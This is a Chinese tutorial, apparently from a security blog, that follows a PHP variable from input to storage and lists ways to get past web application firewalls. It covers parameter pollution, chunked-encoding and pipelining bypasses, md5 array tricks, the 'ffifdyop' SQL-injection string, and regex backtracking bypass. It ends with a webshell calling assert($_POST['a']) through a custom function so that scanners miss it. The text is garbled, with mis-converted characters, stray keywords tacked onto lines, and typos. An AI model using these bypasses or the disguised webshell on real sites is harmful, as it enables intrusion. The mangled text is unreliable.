摘要
變量安全是PHP安全的重要部分,本文系統地分析了一個變量的「人生之旅」中存在哪些安全問題。變量的人生之路:傳入參數→變量生成→變量處理->變量儲存。php
Part1 傳入參數
傳參是一個從前臺經過GET或者POST方法傳遞參數的過程,在這裏咱們每每會遇到URL-WAF的安全判斷。URL-WAF指的是對請求的URL進行一系列正則匹配進行判斷的功能。html
一、傳參時使用畸形的HTTP方法,不少WAF只檢查POST或者GET方法python
ABCDEFG /lab_value/get.php?num_value=hhh HTTP/1.1GET /lab_value/get.php?num_value=hhh HTTP/1.1正則表達式
上面二者是等效的,填HTTP方法的地方能夠填任意非保留字。以下圖所示。segmentfault
二、 傳參的正則匹配bypass:URL-WAF每每具備一些通病數組
(1).HPP參數污染。部分WAF在檢查重複參數的時候,經常只檢查第一個,咱們能夠經過重複傳參bypass,如/?password=admin&&pasword=’ order by 1—+ 但要注意只有解析PHP的中間件纔會把最後一個參數覆蓋以前的參數(重複參數,如上面的例子)。安全
(2).截斷繞過。服務器
①長度截斷:部分WAF在檢查URL參數的時候,爲了節約資源,每每會截取必定長度的參數進行安全檢查,而忽略後面的參數。函數
②終止符截斷。部分WAF遇到%00會斷定參數讀取完成,只檢查部份內容。ui
數據分裂繞過。
(3).URL-WAF每每對每個請求單獨檢查或在連續但分次的請求只檢查第一次。
①利用分塊編碼傳輸繞過。當消息體的頭(header)存在Transfer-Encoding:chunked時,表明使用了分塊編碼傳輸,能夠將幾回請求合併。
消息體由數量未定的塊組成,每個非空的塊都以該塊包含數據的字節數(字節數以十六進制表示)開始,跟隨一個CRLF (回車及換行),而後是數據自己,最後塊CRLF結束。最後一塊是單行,由塊大小(0),一些可選的填充白空格,以及CRLF。最後一塊再也不包含任何數據,可是能夠發送可選的尾部,包括消息頭字段。消息最後以CRLF結尾。
②利用pipline繞過。當消息體的頭存在Connection:keep-alive時,表明本次請求創建的鏈接在Connection的值改成close前不會中斷。注意要關閉burpsuit的repeater模塊的Content-Length自動更新。
三、傳參的數據類型匹配bypass:傳入的變量類型出乎意料
對於_GET[‘num_value’](而且GET[‘numvalue’](並且_POST[‘num_value’]也是同理)來講,並非只有/?num_value=xxx做爲合法有效的參數傳遞格式。PHP接受參數時會對獲得的參數名進行必定變換。
若是輸入/?num_value[]=xxx 也是合法的,可是數據類型與上方清一色的string不一樣,傳入一個數組。在ctf裏常利用這一點,由於md5(數組)==0。
四、傳參時的編碼問題
(1).源代碼存在文件操做函數時,url解碼兩次,此時能夠兩次編碼urlencode。(如%27變爲%25%27)
(2).Url解碼時,若是遇到%+字母,會自動過濾%。若是傳入sel%ect,解碼獲得select。
(3).Base64解碼時,若是字符數量不是三倍數,會沒法解碼拋出錯誤。
Part2 變量生成
傳入參數後,php會根據必定規則生成變量。
(1).服務器使用REQUEST獲取參數,它能夠經過POST和GET同時發包繞過部分WAF。
(2).服務器使用extract( )函數,把獲得的變量中的鍵與值生成對應變量,可能會致使變量覆蓋,從而形成安全問題。Ctf經常使用來覆蓋白名單。
(3).變量名加上[]傳入數組,繞過關於md5函數的一些檢查。
如md5(aaa[])===md5(bbb[])
(4).反序列化。服務器使用unserialize( )函數處理參數,實例化成一個對象。這裏要提到一個PHP關於變量生成的特殊性質。
Var_dump(「x66x6cx61x67」==」flag」); // 輸出是bool(ture) 一樣的,反序列化 O:5」Guess」:1:{s:3:」key」;s:16:」x66x6cx61x67」;} 與反序列化 O:5」Guess」:1:{s:3:」key」;s:16:」flag」;} 沒有區別
x66是字符串的ascii值的十六進制形式在前加上x,能夠用下面的腳本生成
<?php $string = 'flag'; //在這裏輸入要處理的字符串 $arr = str_split(bin2hex($string), 2); foreach ($arr as $value) { print('x'.$value); } //結果是 x66x6cx61x67 ?>
(5).跟4的原理有類似之處。md5(xxx,ture)會輸出一個16位的二進制數據,這個二進制數據也有機會被php解碼。因此xxx是ffifdyop時,會被php認爲相似於萬能密碼’ or 1=1
(實際上有一點區別,後面不是1=1,可是也是TURE)
Part3 變量處理
生成一個變量後,PHP無非就是進行三種處理——變量比較,正則匹配,反序列化,下面咱們來逐個分析。(反序列化本篇暫且不提,之後專門講)
一、變量比較
PHP的弱類型自誕生以來就不斷遭人詬病。PHP有兩種比較是否相等的符號,分別是」==」和」===」,前者只比較值是否相等,當不一樣類型互相比較會自動轉型,安全問題就發生在這裏,後者先比較類型,再比較值,對類型不一樣的比較返回false。
以下表:
var_dump("abcd"==0); //true var_dump("1abcd"==1);//true var_dump("abcd1"==1) //false 字符串和數字比較,比較前面的同類型部分 var_dump(abdc1==0) //true 可是同時會報錯 var_dump(abdc1==1) //false 可是同時會報錯 var_dump(False==0) //true var_dump("abcd1"==0) //true var_dump("0e123456789"=="0e888888") //true php把0e開頭解釋爲科學計數法,爲0 不過,字符串和布爾值不能比較
二、正則匹配
(1).異或繞過
PHP有一個神奇的特性,異或。異或自己並非神奇的東西,可是PHP可讓字符串以ascii編碼進行異或
異或的簡單規則:若是a、b兩個值不相同,那麼異或結果爲1。若是a、b兩個值相同,那麼異或結果爲0。比較兩邊只能有一個爲true時才返回爲true不然返回false。字母與數字(相似int整形的真正的數字)異或結果是原數字,不帶引號的字母會被認爲是字符串。
3 xor 2==1 2 xor 2==0 '`'^'*'=='J' (ascii編碼異或) a^2==2 (但會報錯) 附上一個python腳本 def xor(): for x in range(0,127): for y in range(0,127): z=x^y print(" "+chr(x)+"ascii:"+str(x)+' xor '+chr(y)+" ascii:"+str(y)+' == '+chr(z)+" ascii:"+str(z)) //複製粘貼要注意這裏和上一行是同一行,否則報錯 if __name__ == "__main__": xor()
下面是一個簡單的例子。
(2).pcre回溯次數繞過
PHP的正則表達式中,匹配模式帶有通配符(例如或者?)就有可能發生回溯。通配符前面和後面存在其餘匹配要求,就容易引發回溯,正則表達式每個符號都會匹配完整個字符串,匹配得出的臨時結果讓下一個正則匹配符號再次匹配完整個字符串。
好比/^<.>/,它會匹配一個html標籤裏面的內容。當咱們輸入bcdefg用於匹配時,<匹配到開頭的尖括號,匹配到行末,沒有發現尖括號,結果是開頭的尖括號。從去除第一個尖括號的結果繼續匹配,因爲什麼都能匹配,直接匹配到行末。此時>開始匹配,發現行末後面沒有字符串就開始回溯,匹配g,發現不對,在臨時結果中去掉g,繼續回溯,匹配f,不對,回溯,如此反覆獲得>,匹配出終極結果。當bcdefg達到一百萬個時,PHP不會繼續回溯,就跳過了匹配返回false,從而繞過正則。PHP爲了不這種問題,提出了新的語句規範,正則匹配若是是未匹配到字符,會返回0,回溯次數太多,返回false。使用===比較結果,就不會繞過if判斷。
Part4 變量儲存
一個變量有時候在處理完還有最後一步,儲存(入土)。儲存以後,依舊會有WAF來檢查有沒有威脅(詐屍)。但無不管如何,如今的儲存檢查都是靜態檢查,因此繞過起來並不困難。(即便是D盾)
一、靜態繞過
(1).命名空間的利用
貼一段PHP中文手冊內容<?phpnamespace A;use BD, CE as F;// 函數調用foo(); // 首先嚐試調用定義在命名空間"A"中的函數foo()// 再嘗試調用全局函數 "foo"foo(); // 調用全局空間函數 "foo"myfoo(); // 調用定義在命名空間"Amy"中函數 "foo"F(); // 首先嚐試調用定義在命名空間"A"中的函數 "F"// 再嘗試調用全局函數 "F"// 類引用new B(); // 建立命名空間 "A" 中定義的類 "B" 的一個對象// 若是未找到,則嘗試自動裝載類 "AB"new D(); // 使用導入規則,建立命名空間 "B" 中定義的類 "D" 的一個對象// 若是未找到,則嘗試自動裝載類 "BD"new F(); // 使用導入規則,建立命名空間 "C" 中定義的類 "E" 的一個對象// 若是未找到,則嘗試自動裝載類 "CE"new B(); // 建立定義在全局空間中的類 "B" 的一個對象// 若是未發現,則嘗試自動裝載類 "B"new D(); // 建立定義在全局空間中的類 "D" 的一個對象// 若是未發現,則嘗試自動裝載類 "D"new F(); // 建立定義在全局空間中的類 "F" 的一個對象// 若是未發現,則嘗試自動裝載類 "F"// 調用另外一個命名空間中的靜態方法或命名空間函數Bfoo(); // 調用命名空間 "AB" 中函數 "foo"B::foo(); // 調用命名空間 "A" 中定義的類 "B" 的 "foo" 方法// 若是未找到類 "AB" ,則嘗試自動裝載類 "AB"D::foo(); // 使用導入規則,調用命名空間 "B" 中定義的類 "D" 的 "foo" 方法// 若是類 "BD" 未找到,則嘗試自動裝載類 "BD"Bfoo(); // 調用命名空間"B" 中的函數 "foo"B::foo(); // 調用全局空間中的類 "B" 的 "foo" 方法// 若是類 "B" 未找到,則嘗試自動裝載類 "B"// 當前命名空間中的靜態方法或函數AB::foo(); // 調用命名空間 "AA" 中定義的類 "B" 的 "foo" 方法// 若是類 "AAB" 未找到,則嘗試自動裝載類 "AAB"AB::foo(); // 調用命名空間 "AB" 中定義的類 "B" 的 "foo" 方法// 若是類 "AB" 未找到,則嘗試自動裝載類 "AB"?>
靜態檢查儲存的變量(好比小馬),回調函數加上一個命名空間通常均可以繞過,手冊內容太多,通常面對百分之九十的WAF,在回調函數前面加一個就完事了。
(2).自定義函數
利用自定義函數對字符串或者函數名進行拼接,刪改,替換,除了繞過WAF,更有一些優秀的危險代碼能夠繞過人,好比對代碼後面的空格統計數量轉化成字符。
這裏附上一個簡單的自定義函數,萬法歸一,都是相似的。
<?phpfunction x($a,$b){call_user_func_array($a,$b);}x(‘assert’,array($_POST[‘a’]));//甚至對於assert這個關鍵字也能夠用變量再次拼接 $y=’a’+’ssert’;?>
除了把保留函數二次調用,也能夠經過自建加密函數來作到相似效果,只要把靜態化爲動態就能夠躲避掃描。